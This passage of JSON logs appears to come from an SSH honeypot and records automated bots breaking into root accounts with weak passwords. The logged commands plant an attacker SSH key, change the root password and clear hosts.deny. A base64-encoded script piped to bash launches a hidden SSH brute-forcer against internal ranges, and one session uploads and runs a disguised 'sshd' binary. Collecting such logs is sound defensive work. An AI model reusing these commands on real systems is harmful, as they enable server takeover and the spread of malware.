\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T21:25:09.569952+00:00","kind":"output","latency_ms":497,"data":""},{"seq":48,"at":"2026-08-24T21:25:17.340461+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T21:25:17.341014+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"3edcVFR$","method":"password","accepted":true,"tier":"other"}]} {"id":"67d5f6ce-be29-48d2-a412-7fdabda56506","name":"solemn-leafy-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"87.106.29.151","src_port":41442,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T19:09:01.160303+00:00","ended_at":"2026-08-24T19:09:01.247837+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4113,"events":[{"seq":1,"at":"2026-08-24T19:08:34.295055+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T19:08:34.618406+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T19:08:38.198758+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T19:08:38.199301+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T19:08:38.519350+00:00","kind":"input","latency_ms":null,"data":"echo \"root:cAxnhPJRvgpe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T19:08:38.834078+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T19:08:39.151520+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T19:08:39.152231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T19:08:39.465183+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T19:08:40.195882+00:00","kind":"output","latency_ms":730,"data":" total used free shared buff/cache available\nMem: 15888 4120 7312 214 4456 11108"},{"seq":11,"at":"2026-08-24T19:08:40.519051+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T19:08:41.078420+00:00","kind":"output","latency_ms":559,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T19:08:41.397074+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T19:08:41.397357+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T19:08:41.716769+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T19:08:41.717571+00:00","kind":"output","latency_ms":null,"data":" 19:08:41 up 4 days, 15:58, 0 user, load average: 0.32, 0.4, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T19:08:42.033594+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T19:08:42.034301+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T19:08:42.349723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T19:08:42.350364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T19:08:42.664364+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T19:08:42.665156+00:00","kind":"output","latency_ms":null,"data":"top - 19:08:42 up 4 days, 15:58, 0 user, load average: 0.32, 0.4, 0.2\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T19:08:42.996000+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T19:08:42.996648+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T19:08:43.317767+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T19:08:43.318403+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T19:08:43.634356+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T19:08:43.634778+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-24T19:08:43.953094+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T19:08:45.104332+00:00","kind":"output","latency_ms":1150,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T19:08:45.423190+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T19:08:46.195885+00:00","kind":"output","latency_ms":771,"data":"25G"},{"seq":33,"at":"2026-08-24T19:08:47.359067+00:00","kind":"input","latency_ms":null,"data":"echo \"root redhat1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T19:08:47.673142+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T19:08:48.110015+00:00","kind":"output","latency_ms":436,"data":""},{"seq":36,"at":"2026-08-24T19:08:48.795878+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T19:08:49.364858+00:00","kind":"output","latency_ms":568,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T19:08:49.696041+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T19:08:50.489474+00:00","kind":"output","latency_ms":792,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T19:08:50.818307+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T19:08:51.132614+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T19:08:51.605134+00:00","kind":"output","latency_ms":471,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T19:08:51.922091+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T19:08:52.559430+00:00","kind":"output","latency_ms":636,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T19:08:52.896877+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T19:08:53.323000+00:00","kind":"output","latency_ms":425,"data":""},{"seq":47,"at":"2026-08-24T19:09:01.162267+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T19:09:01.163277+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"redhat1","method":"password","accepted":true,"tier":"other"}]} {"id":"ff4b92c2-cab9-4837-b1f0-be48191f942b","name":"granite-wandering-skylark","protocol":"ssh","channel_kind":"exec","src_ip":"5.3.154.197","src_port":33954,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":409,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T04:39:09.822503+00:00","ended_at":"2026-08-24T04:39:09.946537+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3490,"events":[{"seq":1,"at":"2026-08-24T04:38:39.279791+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T04:38:39.686734+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T04:38:44.743911+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T04:38:44.745330+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T04:38:45.154077+00:00","kind":"input","latency_ms":null,"data":"echo \"root:O6YnMei1ECfH\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T04:38:45.562798+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T04:38:45.973279+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T04:38:45.974641+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T04:38:46.006305+00:00","kind":"output","latency_ms":852,"data":""},{"seq":10,"at":"2026-08-24T04:38:46.381961+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T04:38:47.547686+00:00","kind":"output","latency_ms":1165,"data":" total used free shared buff/cache available\nMem: 15888 4321 7124 18 4443 11302"},{"seq":12,"at":"2026-08-24T04:38:47.959051+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T04:38:48.851428+00:00","kind":"output","latency_ms":895,"data":"lrwxrwxrwx 1 root root 7 Mar 12 2026 /usr/bin/ls -> /bin/ls"},{"seq":14,"at":"2026-08-24T04:38:49.261398+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T04:38:49.261867+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T04:38:49.679122+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T04:38:49.680042+00:00","kind":"output","latency_ms":null,"data":" 04:38:49 up 4 days, 1:28, 0 user, load average: 0.35, 0.27, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T04:38:50.084105+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T04:38:50.084573+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T04:38:50.490971+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T04:38:50.491786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T04:38:50.908699+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T04:38:50.909332+00:00","kind":"output","latency_ms":null,"data":"top - 04:38:50 up 4 days, 1:28, 0 user, load average: 0.35, 0.27, 0.34\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T04:38:51.309647+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T04:38:51.310503+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T04:38:51.718907+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T04:38:51.719807+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T04:38:52.128988+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T04:38:52.130161+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T04:38:52.538298+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T04:38:53.094684+00:00","kind":"output","latency_ms":555,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-24T04:38:53.504910+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T04:38:53.939762+00:00","kind":"output","latency_ms":434,"data":"24G"},{"seq":34,"at":"2026-08-24T04:38:55.384120+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123Admin\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T04:38:55.792866+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T04:38:56.213017+00:00","kind":"output","latency_ms":420,"data":""},{"seq":37,"at":"2026-08-24T04:38:57.224299+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T04:38:57.645317+00:00","kind":"output","latency_ms":420,"data":"root 123Admin"},{"seq":39,"at":"2026-08-24T04:38:58.054135+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T04:38:58.499444+00:00","kind":"output","latency_ms":444,"data":"root 123Admin"},{"seq":41,"at":"2026-08-24T04:38:58.908043+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T04:38:59.316812+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T04:38:59.887949+00:00","kind":"output","latency_ms":571,"data":"root 123Admin"},{"seq":44,"at":"2026-08-24T04:39:00.298002+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T04:39:01.008197+00:00","kind":"output","latency_ms":708,"data":"root 123Admin"},{"seq":46,"at":"2026-08-24T04:39:01.415932+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T04:39:01.839055+00:00","kind":"output","latency_ms":422,"data":""},{"seq":48,"at":"2026-08-24T04:39:09.823192+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T04:39:09.823906+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123Admin","method":"password","accepted":true,"tier":"other"}]} {"id":"6f21839c-0816-4ffd-9ff4-e71ebbf9de78","name":"hidden-lunar-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"120.33.126.224","src_port":46270,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x ./.704318055288302351/sshd;nohup ./.704318055288302351/sshd &","started_at":"2026-08-24T03:43:21.725414+00:00","ended_at":"2026-08-24T03:43:31.924235+00:00","ended_reason":"exec complete","commands":2,"transcript_bytes":132,"events":[{"seq":1,"at":"2026-08-24T03:43:21.722195+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/.704318055288302351/sshd (30304472 bytes)"},{"seq":2,"at":"2026-08-24T03:43:21.727713+00:00","kind":"input","latency_ms":null,"data":"chmod +x ./.704318055288302351/sshd;nohup ./.704318055288302351/sshd &"},{"seq":3,"at":"2026-08-24T03:43:23.226084+00:00","kind":"output","latency_ms":1520,"data":""}],"credentials":[{"username":"root","password":"centos","method":"password","accepted":true,"tier":"other"}]} {"id":"139edc25-ff78-447f-ad87-3aa1c14591d2","name":"alpine-verdant-linnet","protocol":"ssh","channel_kind":"exec","src_ip":"223.17.1.118","src_port":47578,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":692,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T03:17:41.660805+00:00","ended_at":"2026-08-24T03:17:41.876558+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":6575,"events":[{"seq":1,"at":"2026-08-24T03:16:58.356771+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T03:16:59.046453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T03:17:04.985852+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T03:17:04.986364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T03:17:05.677412+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tbZ35wrxEVUF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T03:17:06.352722+00:00","kind":"output","latency_ms":675,"data":""},{"seq":7,"at":"2026-08-24T03:17:06.367693+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T03:17:07.055960+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T03:17:07.056713+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T03:17:07.749648+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T03:17:08.456392+00:00","kind":"output","latency_ms":705,"data":"15888 403 15485 0 0 0"},{"seq":12,"at":"2026-08-24T03:17:09.152233+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T03:17:10.196396+00:00","kind":"output","latency_ms":1041,"data":"-rwxr-xr-x 1 root root 148K Aug 24 03:08 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T03:17:10.888527+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T03:17:10.889198+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T03:17:11.579916+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T03:17:11.580541+00:00","kind":"output","latency_ms":null,"data":" 03:17:11 up 4 days, 0:07, 0 user, load average: 0.31, 0.35, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T03:17:12.270223+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T03:17:12.270814+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T03:17:12.963358+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T03:17:12.963784+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T03:17:13.653719+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T03:17:13.654433+00:00","kind":"output","latency_ms":null,"data":"top - 03:17:13 up 4 days, 0:07, 0 user, load average: 0.31, 0.35, 0.22\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T03:17:14.345376+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T03:17:14.345935+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T03:17:15.036617+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T03:17:15.037387+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP 